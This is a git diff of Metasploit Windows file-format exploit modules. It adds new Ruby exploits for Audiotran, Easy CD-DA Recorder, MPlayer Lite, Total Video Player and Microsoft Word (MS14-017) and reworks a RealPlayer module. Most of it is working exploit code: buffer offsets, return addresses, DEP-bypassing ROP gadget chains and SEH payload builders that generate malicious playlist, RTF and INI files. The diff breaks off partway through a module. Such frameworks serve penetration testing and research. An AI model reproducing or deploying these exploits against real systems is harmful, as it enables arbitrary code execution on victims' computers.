+      'Platform'       => 'win',
+      'Payload'        =>
+        {
+          'DisableNops'    => true,
+          'BadChars'       => "\x00\x0a\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f",
+          'Space'          => 3060,
+          'EncoderType'    => Msf::Encoder::Type::AlphanumUnicodeMixed,
+          'EncoderOptions' =>
+            {
+              'BufferRegister' => 'EAX'
+            }
+        },
+      'Targets'        =>
+        [
+          [ ' ALLPlayer 2.8.1 / Windows 7 SP1',
+            {
+              'Offset' => 301,
+              'Ret'    => "\x50\x45",  # POP POP RET from ALLPlayer.exe
+              'Nop'    => "\x6e"       # ADD BYTE PTR DS:[ESI],CH
+            }
+          ]
+        ],
+      'Privileged'     => false,
+      'DisclosureDate' => 'Oct 09 2013',
+      'DefaultTarget'  => 0))
+
+      register_options(
+        [
+          OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u'])
+        ],
+      self.class)
+
+  end
+
+
+  def exploit
+    nop = target['Nop']
+
+    sploit =  rand_text_alpha_upper(target['Offset'])
+    sploit << "\x61\x50"      # POPAD
+    sploit << target.ret
+    sploit << "\x53"          # PUSH EBX
+    sploit << nop
+    sploit << "\x58"          # POP EAX
+    sploit << nop
+    sploit << "\x05\x14\x11"  # ADD EAX,0x11001400
+    sploit << nop
+    sploit << "\x2d\x13\x11"  # SUB EAX,0x11001300
+    sploit << nop
+    sploit << "\x50"          # PUSH EAX
+    sploit << nop
+    sploit << "\xc3"          # RET
+    sploit << nop * 109
+    sploit << payload.encoded
+    sploit << rand_text_alpha_upper(10000) # Generate exception
+
+    # Create the file
+    print_status("Creating '#{datastore['FILENAME']}' file ...")
+    file_create("http://" + sploit)
+
+  end
+end
+
diff --git a/modules/exploits/windows/fileformat/audiotran_pls_1424.rb b/modules/exploits/windows/fileformat/audiotran_pls_1424.rb
new file mode 100644
index 0000000000..1dcef5f540
--- /dev/null
+++ b/modules/exploits/windows/fileformat/audiotran_pls_1424.rb
@@ -0,0 +1,62 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = GoodRanking
+
+  include Msf::Exploit::FILEFORMAT
+  include Msf::Exploit::Remote::Seh
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Audiotran PLS File Stack Buffer Overflow',
+      'Description'    => %q{
+          This module exploits a stack-based buffer overflow in Audiotran 1.4.2.4.
+        An attacker must send the file to victim and the victim must open the file.
+        Alternatively, it may be possible to execute code remotely via an embedded
+        PLS file within a browser when the PLS extention is registered to Audiotran.
+        This alternate vector has not been tested and cannot be exercised directly
+        with this module.
+      },
+      'License'        => MSF_LICENSE,
+      'Author' 	 =>
+        [
+          'Philip OKeefe',
+        ],
+      'References'     =>
+        [
+          [ 'EDB', '14961' ]
+        ],
+      'Payload'        =>
+        {
+          'Space'    => 5000,
+          'BadChars' => "\x00\x0a\x0d\x3d",
+          'StackAdjustment' => -3500,
+        },
+      'Platform' => 'win',
+      'Targets'        =>
+        [
+          [ 'Windows Universal', { 'Ret' => 0x1001cd67 } ], #p/p/r from amp3dj.ocx
+        ],
+      'Privileged'     => false,
+      'DisclosureDate' => 'Sep 09 2010',
+      'DefaultTarget'  => 0))
+
+      register_options(
+        [
+          OptString.new('FILENAME', [ true, 'The file name.',  'msf.pls']),
+        ], self.class)
+  end
+
+  def exploit
+    sploit = "[playlist]\r\nFile1="
+    sploit << rand_text_alpha_upper(1940)
+    sploit << generate_seh_payload(target.ret)
+    print_status("Creating '#{datastore['FILENAME']}' file ...")
+    file_create(sploit)
+  end
+end
diff --git a/modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb b/modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb
index 77aa07b482..bb6c7f7735 100644
--- a/modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb
+++ b/modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Cain & Abel <= v4.9.24 RDP Buffer Overflow',
+      'Name'           => 'Cain and Abel RDP Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack-based buffer overflow in the Cain & Abel v4.9.24
         and below. An attacker must send the file to victim, and the victim must open
diff --git a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb
new file mode 100644
index 0000000000..b1c4ef293e
--- /dev/null
+++ b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb
@@ -0,0 +1,121 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = NormalRanking
+
+  include Msf::Exploit::FILEFORMAT
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Easy CD-DA Recorder PLS Buffer Overflow',
+      'Description'    => %q{
+          This module exploits a stack-based buffer overflow vulnerability in
+        Easy CD-DA Recorder 2007 caused by an overlong string in a playlist entry.
+        By persuading the victim to open a specially-crafted PLS file, a
+        remote attacker can execute arbitrary code on the system or cause
+        the application to crash. This module has been tested successfully on
+        Windows XP SP3 and Windows 7 SP1.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'chap0',        # Vulnerability discovery and original exploit
+          'Gabor Seljan', # Metasploit module
+          'juan vazquez'  # Improved reliability
+        ],
+      'References'     =>
+        [
+          [ 'BID', '40631' ],
+          [ 'EDB', '13761' ],
+          [ 'OSVDB', '65256' ],
+          [ 'CVE', '2010-2343' ],
+          [ 'URL', 'http://www.corelan.be:8800/advisories.php?id=CORELAN-10-048' ]
+        ],
+      'DefaultOptions' =>
+        {
+          'ExitFunction' => 'process'
+        },
+      'Platform'       => 'win',
+      'Payload'        =>
+        {
+          'DisableNops'    => true,
+          'BadChars'       => "\x0a\x3d",
+          'Space'          => 2454,
+          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"  # ADD ESP,-3500
+        },
+      'Targets'        =>
+        [
+          [ 'Windows XP SP3 / Windows 7 SP1 (DEP Bypass)',
+            # easycdda.exe 3.0.114.0
+            # audconv.dll 7.0.815.0
+            {
+              'Offset' => 1108,
+              'Ret'    => 0x1001b19b  # ADD ESP,0C10 # RETN 0x04 [audconv.dll]
+            }
+          ]
+        ],
+      'Privileged'     => false,
+      'DisclosureDate' => 'Jun 7 2010',
+      'DefaultTarget'  => 0))
+
+      register_options(
+        [
+          OptString.new('FILENAME', [ false, 'The file name.', 'msf.pls'])
+        ],
+      self.class)
+
+  end
+
+  def nops
+    return make_nops(4).unpack("V").first
+  end
+
+  def rop_nops(n = 1)
+    # RETN (ROP NOP) [audconv.dll]
+    [0x1003d55d].pack('V') * n
+  end
+
+  def exploit
+
+    # ROP chain generated by mona.py - See corelan.be
+    rop_gadgets =
+    [
+      0x1007261e,  # POP EDX # RETN [audconv.dll]
+      0x0042a0e0,  # &VirtualProtect() [IAT easycdda.exe]
+      0x1003bd6b,  # MOV EAX,DWORD PTR DS:[EDX] # RETN [audconv.dll]
+      0x10035802,  # XCHG EAX,ESI # RETN [audconv.dll]
+      0x1005d288,  # POP EBP # RETN [audconv.dll]
+      0x004030c8,  # &PUSH ESP # RET 0x08 [easycdda.exe]
+      0x1005cc2d,  # POP EBX # RETN [audconv.dll]
+      0x00000996,  # 0x00000996-> EBX
+      0x1008740c,  # POP EDX # RETN [audconv.dll]
+      0x00000040,  # 0x00000040-> EDX
+      0x1001826d,  # POP ECX # RETN [audconv.dll]
+      0x004364c6,  # &Writable location [easycdda.exe]
+      0x00404aa9,  # POP EDI # RETN [easycdda.exe]
+      0x100378e6,  # RETN (ROP NOP) [audconv.dll]
+      0x0042527d,  # POP EAX # RETN [easycdda.exe]
+      nops,
+      0x00429692   # PUSHAD # INC EBX # ADD CL,CH # RETN [easycdda.exe]
+    ].flatten.pack('V*')
+
+    sploit =  rop_nops(target['Offset'] / 4)
+    sploit << [0x1003d55c].pack("V") # pop edi # ret [audconv.dll]
+    sploit << [target.ret].pack("V")
+    sploit << rop_nops(22)
+    sploit << rop_gadgets
+    sploit << payload.encoded
+    sploit << rand_text_alpha_upper(10000) # Generate exception
+
+    # Create the file
+    print_status("Creating '#{datastore['FILENAME']}' file ...")
+    file_create(sploit)
+
+  end
+end
+
diff --git a/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb b/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb
index 6b836539b0..2585da4693 100644
--- a/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb
+++ b/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb
@@ -13,13 +13,14 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'eSignal and eSignal Pro <= 10.6.2425.1208 File Parsing Buffer Overflow in QUO',
+      'Name'           => 'eSignal and eSignal Pro File Parsing Buffer Overflow in QUO',
       'Description'    => %q{
-        The software is unable to handle the "<StyleTemplate>" files (even
-        those original included in the program) like those with the registered
-        extensions QUO, SUM and POR. Successful exploitation of this vulnerability
-        may take up to several seconds due to the use of egghunter.  Also, DEP
-        bypass is unlikely due to the limited space for payload.
+        The software is unable to handle the "<StyleTemplate>" files (even those
+        original included in the program) like those with the registered
+        extensions QUO, SUM and POR. Successful exploitation of this
+        vulnerability may take up to several seconds due to the use of
+        egghunter. Also, DEP bypass is unlikely due to the limited space for
+        payload. This vulnerability affects versions 10.6.2425.1208 and earlier.
       },
       'License'        => MSF_LICENSE,
       'Author'         =>
diff --git a/modules/exploits/windows/fileformat/feeddemon_opml.rb b/modules/exploits/windows/fileformat/feeddemon_opml.rb
index 04f3ace038..c41c5f85cc 100644
--- a/modules/exploits/windows/fileformat/feeddemon_opml.rb
+++ b/modules/exploits/windows/fileformat/feeddemon_opml.rb
@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'FeedDemon <= 3.1.0.12 Stack Buffer Overflow',
+      'Name'           => 'FeedDemon Stack Buffer Overflow',
       'Description'    => %q{
           This module exploits a buffer overflow in FeedDemon v3.1.0.12. When the application
         is used to import a specially crafted opml file, a buffer overflow occurs allowing
diff --git a/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb b/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb
index dda5b781db..ff02edae0d 100644
--- a/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb
+++ b/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb
@@ -13,18 +13,19 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Irfanview JPEG2000 <= v4.3.2.0 jp2 Stack Buffer Overflow',
+      'Name'           => 'Irfanview JPEG2000 jp2 Stack Buffer Overflow',
       'Description'    => %q{
-          This module exploits a stack-based buffer overflow vulnerability in
-        version <= 4.3.2.0 of Irfanview's JPEG2000.dll plugin. This exploit has been
-        tested on a specific version of irfanview (v4.3.2), although other versions may
-        work also. The vulnerability is triggered via parsing an invalid qcd chunk
-        structure and specifying a malformed qcd size and data.
+        This module exploits a stack-based buffer overflow vulnerability in
+        version <= 4.3.2.0 of Irfanview's JPEG2000.dll plugin. This exploit has
+        been tested on a specific version of irfanview (v4.3.2), although other
+        versions may work also. The vulnerability is triggered via parsing an
+        invalid qcd chunk structure and specifying a malformed qcd size and
+        data.
 
-        Payload delivery and vulnerability trigger can be executed in multiple ways.
-        The user can double click the file, use the file dialog, open via the icon
-        and drag/drop the file into Irfanview\'s window. An egg hunter is used for
-        stability.
+        Payload delivery and vulnerability trigger can be executed in multiple
+        ways. The user can double click the file, use the file dialog, open via
+        the icon and drag/drop the file into Irfanview's window. An egg hunter
+        is used for stability.
       },
       'License'        => MSF_LICENSE,
       'Author'         =>
diff --git a/modules/exploits/windows/fileformat/mplayer_m3u_bof.rb b/modules/exploits/windows/fileformat/mplayer_m3u_bof.rb
new file mode 100644
index 0000000000..4ae91733ac
--- /dev/null
+++ b/modules/exploits/windows/fileformat/mplayer_m3u_bof.rb
@@ -0,0 +1,118 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = AverageRanking
+
+  include Msf::Exploit::FILEFORMAT
+  include Msf::Exploit::Seh
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'MPlayer Lite M3U Buffer Overflow',
+      'Description'    => %q{
+        This module exploits a stack-based buffer overflow vulnerability in
+        MPlayer Lite r33064, caused by improper bounds checking of an URL entry.
+
+        By persuading the victim to open a specially-crafted .M3U file, specifically by
+        drag-and-dropping it to the player, a remote attacker can execute arbitrary
+        code on the system.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'C4SS!0 and h1ch4m', # Vulnerability discovery and original exploit
+          'Gabor Seljan',      # Metasploit module
+        ],
+      'References'     =>
+        [
+          [ 'BID', '46926' ],
+          [ 'EDB', '17013' ],
+          [ 'URL', 'http://www.mplayer-ww.com/eng/' ]
+        ],
+      'DefaultOptions' =>
+        {
+          'ExitFunction' => 'process'
+        },
+      'Platform'       => 'win',
+      'Payload'        =>
+        {
+          'BadChars'   => "\x00\x20\x0d\x0a\x1a\x2c\x2e\x26\x2f\x3a\x3e\x3f\x5c",
+          'Space'      => 5040
+        },
+      'Targets'        =>
+        [
+          [ 'Windows XP SP3 (DEP Bypass) / MPlayer Lite r33064',
+            {
+              'Offset' => 21,
+              'Ret'    => 0x649a7bbe  # ADD ESP,64C # PPPR [avformat-52.dll]
+            }
+          ],
+        ],
+      'Privileged'     => false,
+      'DisclosureDate' => 'Mar 19 2011',
+      'DefaultTarget'  => 0))
+
+      register_options(
+        [
+          OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u'])
+        ],
+      self.class)
+
+  end
+
+  def junk
+    return rand_text_alpha(4).unpack("V").first
+  end
+
+  def nops
+    return make_nops(4).unpack("V").first
+  end
+
+  def exploit
+
+    # ROP chain generated by mona.py - See corelan.be
+    rop_gadgets =
+    [
+      0x6ad9d85d,  # POP EBP # RETN [avcodec-52.dll]
+      0x10018fc3,  # &CALL ESP [unrar.dll]
+      0x64984a70,  # POP EAX # RETN [avformat-52.dll]
+      0xffffec4f,  # Value to negate, will become 0x00005040
+      0x6b0ce791,  # NEG EAX # RETN [avcodec-52.dll]
+      0x6b063c7d,  # PUSH EAX # POP EBX # POP ESI # POP EDI # RETN [avcodec-52.dll]
+      junk,
+      junk,
+      0x1001d154,  # POP EAX # RETN [unrar.dll]
+      0x77e71210,  # &VirtualProtect() [IAT RPCRT4.dll]
+      0x64987f7f,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [avformat-52.dll]
+      0x6afcdc68,  # XCHG EAX,ESI # RETN [avcodec-52.dll]
+      0x6b02836d,  # POP EAX # RETN [avcodec-52.dll]
+      0xffffffc0,  # Value to negate, will become 0x00000040
+      0x6b0ce791,  # NEG EAX # RETN [avcodec-52.dll]
+      0x6af79d80,  # XCHG EAX,EDX # RETN [avcodec-52.dll]
+      0x1001bad6,  # POP ECX # RETN [unrar.dll]
+      0x649eab48,  # &Writable location [avformat-52.dll]
+      0x6d7c0bb7,  # POP EDI # RETN [swscale-0.dll]
+      0x6b03d722,  # RETN (ROP NOP) [avcodec-52.dll]
+      0x64984a70,  # POP EAX # RETN [avformat-52.dll]
+      nops,
+      0x6d7c57d1   # PUSHAD # RETN [swscale-0.dll]
+    ].flatten.pack('V*')
+
+    sploit =  rand_text_alpha_upper(target['Offset'])
+    sploit << rop_gadgets
+    sploit << payload.encoded
+    sploit << generate_seh_record(target.ret)
+    sploit << rand_text_alpha_upper(1000) # Generate exception
+
+    # Create the file
+    print_status("Creating '#{datastore['FILENAME']}' file ...")
+    file_create("http://" + sploit)
+
+  end
+end
+
diff --git a/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb b/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb
index 3c127dd824..cc5f2e0289 100644
--- a/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb
+++ b/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb
@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft Excel Malformed FEATHEADER Record Vulnerability',
+      'Name'           => 'MS09-067 Microsoft Excel Malformed FEATHEADER Record Vulnerability',
       'Description'    => %q{
             This module exploits a vulnerability in the handling of the FEATHEADER record
           by Microsoft Excel. Revisions of Office XP and later prior to the release of the
diff --git a/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb b/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb
index ccdd086f99..806d1c105f 100644
--- a/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb
+++ b/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb
@@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft PowerPoint Viewer TextBytesAtom Stack Buffer Overflow',
+      'Name'           => 'MS10-004 Microsoft PowerPoint Viewer TextBytesAtom Stack Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow vulnerability in the handling of
         the TextBytesAtom records by Microsoft PowerPoint Viewer. According to Microsoft,
diff --git a/modules/exploits/windows/fileformat/ms10_087_rtf_pfragments_bof.rb b/modules/exploits/windows/fileformat/ms10_087_rtf_pfragments_bof.rb
index 5c3cdf7797..cbbe4503d2 100644
--- a/modules/exploits/windows/fileformat/ms10_087_rtf_pfragments_bof.rb
+++ b/modules/exploits/windows/fileformat/ms10_087_rtf_pfragments_bof.rb
@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)',
+      'Name'           => 'MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)',
       'Description'    => %q{
           This module exploits a stack-based buffer overflow in the handling of the
         'pFragments' shape property within the Microsoft Word RTF parser. All versions
diff --git a/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb b/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb
index e2851fde33..dfeedef864 100644
--- a/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb
+++ b/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb
@@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow',
+      'Name'           => 'MS11-006 Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack-based buffer overflow in the handling of thumbnails
         within .MIC files and various Office documents. When processing a thumbnail bitmap
diff --git a/modules/exploits/windows/fileformat/ms14_017_rtf.rb b/modules/exploits/windows/fileformat/ms14_017_rtf.rb
new file mode 100644
index 0000000000..c5f47fbc8c
--- /dev/null
+++ b/modules/exploits/windows/fileformat/ms14_017_rtf.rb
@@ -0,0 +1,116 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = NormalRanking
+
+  include Msf::Exploit::FILEFORMAT
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => "MS14-017 Microsoft Word RTF Object Confusion",
+      'Description'    => %q{
+        This module creates a malicious RTF file that when opened in
+        vulnerable versions of Microsoft Word will lead to code execution.
+        The flaw exists in how a listoverridecount field can be modified
+        to treat one structure as another.
+
+        This bug was originally seen being exploited in the wild starting
+        in April 2014. This module was created by reversing a public
+        malware sample.
+      },
+      'Author'         =>
+        [
+          'Haifei Li', # vulnerability analysis
+          'Spencer McIntyre',
+          'unknown' # malware author
+        ],
+      'License'        => MSF_LICENSE,
+      'References'     => [
+        ['CVE', '2014-1761'],
+        ['MSB', 'MS14-017'],
+        ['URL', 'http://blogs.mcafee.com/mcafee-labs/close-look-rtf-zero-day-attack-cve-2014-1761-shows-sophistication-attackers'],
+        ['URL', 'https://www.virustotal.com/en/file/e378eef9f4ea1511aa5e368cb0e52a8a68995000b8b1e6207717d9ed09e8555a/analysis/']
+      ],
+      'Platform'       => 'win',
+      'Arch'           => ARCH_X86,
+      'Payload'        =>
+        {
+          'StackAdjustment' => -3500,
+          'Space'           => 375,
+          'DisableNops'     => true
+        },
+      'Targets'        =>
+        [
+          # winword.exe v14.0.7116.5000 (SP2)
+          [ 'Microsoft Office 2010 SP2 English on Windows 7 SP1 English',   {  } ],
+        ],
+      'DefaultTarget'  => 0,
+      'Privileged'     => true,
+      'DisclosureDate' => 'Apr 1 2014'))
+
+    register_options(
+      [
+        OptString.new('FILENAME', [ false, 'The file name.', 'msf.rtf'])
+      ], self.class)
+  end
+
+  def exploit
+    junk = rand(0xffffffff)
+    rop_chain = [
+      0x275de6ae, # ADD ESP,0C # RETN [MSCOMCTL.ocx]
+      junk,
+      junk,
+      0x27594a2c, # PUSH ECX # POP ESP # AND DWORD PTR [ESI+64],0FFFFFFFB # POP ESI # POP ECX # RETN [MSCOMCTL.ocx]
+      0x2758b042, # RETN [MSCOMCTL.ocx]
+      0x2761bdea, # POP EAX # RETN [MSCOMCTL.ocx]
+      0x275811c8, # ptr to &VirtualAlloc() [IAT MSCOMCTL.ocx]
+      0x2760ea66, # JMP [EAX] [MSCOMCTL.ocx]
+      0x275e0081, # POP ECX # RETN [MSCOMCTL.ocx]
+      0x40000000,
+      0x00100000,
+      0x00003000,
+      0x00000040,
+      0x00001000,
+      0x275fbcfc, # PUSH ESP # POP EDI # POP ESI # RETN 8 [MSCOMCTL.ocx]
+      junk,
+      0x275e0861, # MOV EAX,EDI # POP EDI # POP ESI # RETN [MSCOMCTL.ocx]
+      junk,
+      junk,
+      junk,
+      junk,
+      0x275ebac1, # XCHG EAX,ESI # NOP # ADD EAX,MSORES+0x13000000 # RETN 4 [MSCOMCTL.ocx]
+      0x275e0327, # POP EDI # RETN [MSCOMCTL.ocx]
+      junk,
+      0x40000000,
+      0x275ceb04, # REP MOVS BYTE [EDI],BYTE [ESI] # XOR EAX,EAX # JMP MSCOMCTL!DllGetClassObject0x3860 [MSCOMCTL.ocx]
+      junk,
+      junk,
+      junk,
+      junk,
+      0x40000040
+    ].pack("V*")
+
+    exploit_data  = [ junk ].pack("v")
+    exploit_data << rop_chain
+    exploit_data << payload.encoded
+    exploit_data << make_nops(exploit_data.length % 2)
+    exploit_data  = exploit_data.unpack("S<*")
+    exploit_data  = exploit_data.map { |word| " ?\\u-#{0x10000 - word}" }
+    exploit_data  = exploit_data.join
+
+    template_part1 = 0x1e04
+    template_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2014-1761.rtf")
+    template_rtf = ::File.open(template_path, 'rb')
+
+    exploit_rtf  = template_rtf.read(template_part1)
+    exploit_rtf << exploit_data
+    exploit_rtf << template_rtf.read
+
+    file_create(exploit_rtf)
+  end
+end
diff --git a/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb b/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb
index 9ebc12853b..a8117c2ecc 100644
--- a/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb
+++ b/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb
@@ -31,7 +31,11 @@ class Metasploit3 < Msf::Exploit::Remote
         ],
       'References'     =>
         [
-          [ 'CVE', '2013-6877' ],
+          [ 'BID', '64695' ],
+          [ 'EDB', '30468' ],
+          [ 'OSVDB', '101356' ],
+          [ 'CVE', '2013-7260' ],
+          [ 'US-CERT-VU', '698278' ],
           [ 'URL', 'http://service.real.com/realplayer/security/12202013_player/en/' ]
         ],
       'DefaultOptions' =>
@@ -41,25 +45,18 @@ class Metasploit3 < Msf::Exploit::Remote
       'Platform'       => 'win',
       'Payload'        =>
         {
-          'BadChars'  => "\x00\x22",
-          'Space'     => 532,
+          'BadChars'   => "\x00\x22",
+          'Space'      => 2396
         },
-      'Targets'       =>
+      'Targets'        =>
         [
-          [ 'Windows XP SP2/SP3 (NX) / Real Player 16.0.3.51',
+          [ 'Windows XP SP2/SP3 (DEP Bypass) / RealPlayer 16.0.3.51/16.0.2.32',
             {
-              'OffsetClick' => 2540,       # Open via double click
-              'OffsetMenu'  => 13600,      # Open via File -> Open
-              'Ret'         => 0x641930C8  # POP POP RET from rpap3260.dll
+              'OffsetROP'  => 44,
+              'OffsetMenu' => 11052,      # Open via File -> Open
+              'Ret'        => 0x5acceecd  # ADD ESP,428 # RETN 10 [mswmdm.dll]
             }
           ],
-          [ 'Windows XP SP2/SP3 (NX) / Real Player 16.0.2.32',
-            {
-              'OffsetClick' => 2540,       # Open via double click
-              'OffsetMenu'  => 13600,      # Open via File -> Open
-              'Ret'         => 0x63A630B8  # POP POP RET from rpap3260.dll
-            }
-          ]
         ],
       'Privileged'     => false,
       'DisclosureDate' => 'Dec 20 2013',
@@ -75,10 +72,40 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def exploit
 
-    sploit =  rand_text_alpha_upper(target['OffsetClick'])
-    sploit << generate_seh_payload(target.ret)
-    sploit << rand_text_alpha_upper(target['OffsetMenu'] - sploit.length)
-    sploit << generate_seh_payload(target.ret)
+    rop_nop =
+    [
+      0x77c1c552   # RETN (ROP NOP) [msvcrt.dll]
+    ].flatten.pack('V*')
+
+    rop_gadgets =
+    [
+      0x77c21d16,  # POP EAX # RETN [msvcrt.dll]
+      0x77c11120,  # &VirtualProtect() [IAT msvcrt.dll]
+      0x77c1bb36,  # POP EBP # RETN [msvcrt.dll]
+      0x77c20497,  # skip 4 bytes [msvcrt.dll]
+      0x77c2362c,  # POP EBX # RETN [msvcrt.dll]
+      0x0000095c,  # 0x0000095C-> EBC
+      0x5acb2caf,  # POP EDX # RETN [mswmdm.dll]
+      0x00000040,  # 0x00000040-> EDX
+      0x77c1f519,  # POP ECX # RETN [msvcrt.dll]
+      0x77C5D305,  # &Writable location [msvcrt.dll]
+      0x77c23b47,  # POP EDI # RETN [msvcrt.dll]
+      0x77c47a42,  # RETN (ROP NOP) [msvcrt.dll]
+      0x77c2ed13,  # POP ESI # RETN [msvcrt.dll]
+      0x77c2aacc,  # JMP [EAX] [msvcrt.dll]
+      0x77c12df9,  # PUSHAD # RETN [msvcrt.dll]
+      0x77c35459   # PUSH ESP # RETN [msvcrt.dll]
+    ].flatten.pack('V*')
+
+    sploit =  rand_text_alpha_upper(target['OffsetROP'])
+    sploit << rop_nop
+    sploit << make_nops(16)
+    sploit << rop_gadgets
+    sploit << make_nops(16)
+    sploit << payload.encoded
+    sploit << generate_seh_record(target.ret) # Open via double click (2540)
+    sploit << rand_text_alpha_upper(target['OffsetMenu'])
+    sploit << generate_seh_record(target.ret) # Open via File -> Open (13600)
     sploit << rand_text_alpha_upper(17000) # Generate exception
 
     # Create the file
diff --git a/modules/exploits/windows/fileformat/scadaphone_zip.rb b/modules/exploits/windows/fileformat/scadaphone_zip.rb
index 86c99ff559..8d47f8083a 100644
--- a/modules/exploits/windows/fileformat/scadaphone_zip.rb
+++ b/modules/exploits/windows/fileformat/scadaphone_zip.rb
@@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'ScadaTEC ScadaPhone <= v5.3.11.1230 Stack Buffer Overflow',
+      'Name'           => 'ScadaTEC ScadaPhone Stack Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack-based buffer overflow vulnerability in
         version 5.3.11.1230 of scadaTEC's ScadaPhone.
diff --git a/modules/exploits/windows/fileformat/total_video_player_ini_bof.rb b/modules/exploits/windows/fileformat/total_video_player_ini_bof.rb
new file mode 100644
index 0000000000..d216229734
--- /dev/null
+++ b/modules/exploits/windows/fileformat/total_video_player_ini_bof.rb
@@ -0,0 +1,73 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = NormalRanking
+
+  include Msf::Exploit::FILEFORMAT
+  include Msf::Exploit::Seh
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'    => 'Total Video Player 1.3.1 (Settings.ini) - SEH Buffer Overflow',
+      'Description'  => %q{
+        This module exploits a buffer overflow in Total Video Player 1.3.1. The vulnerability
+        occurs opening malformed Settings.ini file e.g."C:\Program Files\Total Video Player\".
+        This module has been tested successfully on Windows WinXp-Sp3-EN, Windows 7, and Windows 8.
+      },
+      'License'    => MSF_LICENSE,
+      'Author'    =>
+        [
+          'Mike Czumak',                         # (T_v3rn1x) -- @SecuritySift
+          'Fr330wn4g3 <Fr330wn4g3[at]gmail.com>' # Metasploit module
+        ],
+      'References'  =>
+        [
+          [ 'OSVDB', '100619' ],
+          [ 'EDB', '29799' ]
+        ],
+      'DefaultOptions' =>
+        {
+          'ExitFunction' => 'process',
+        },
+      'Platform'  => 'win',
+      'Payload'  =>
+        {
+          'BadChars' => "\x00\x0a\x0d\xff",
+          'Space' => 1787,
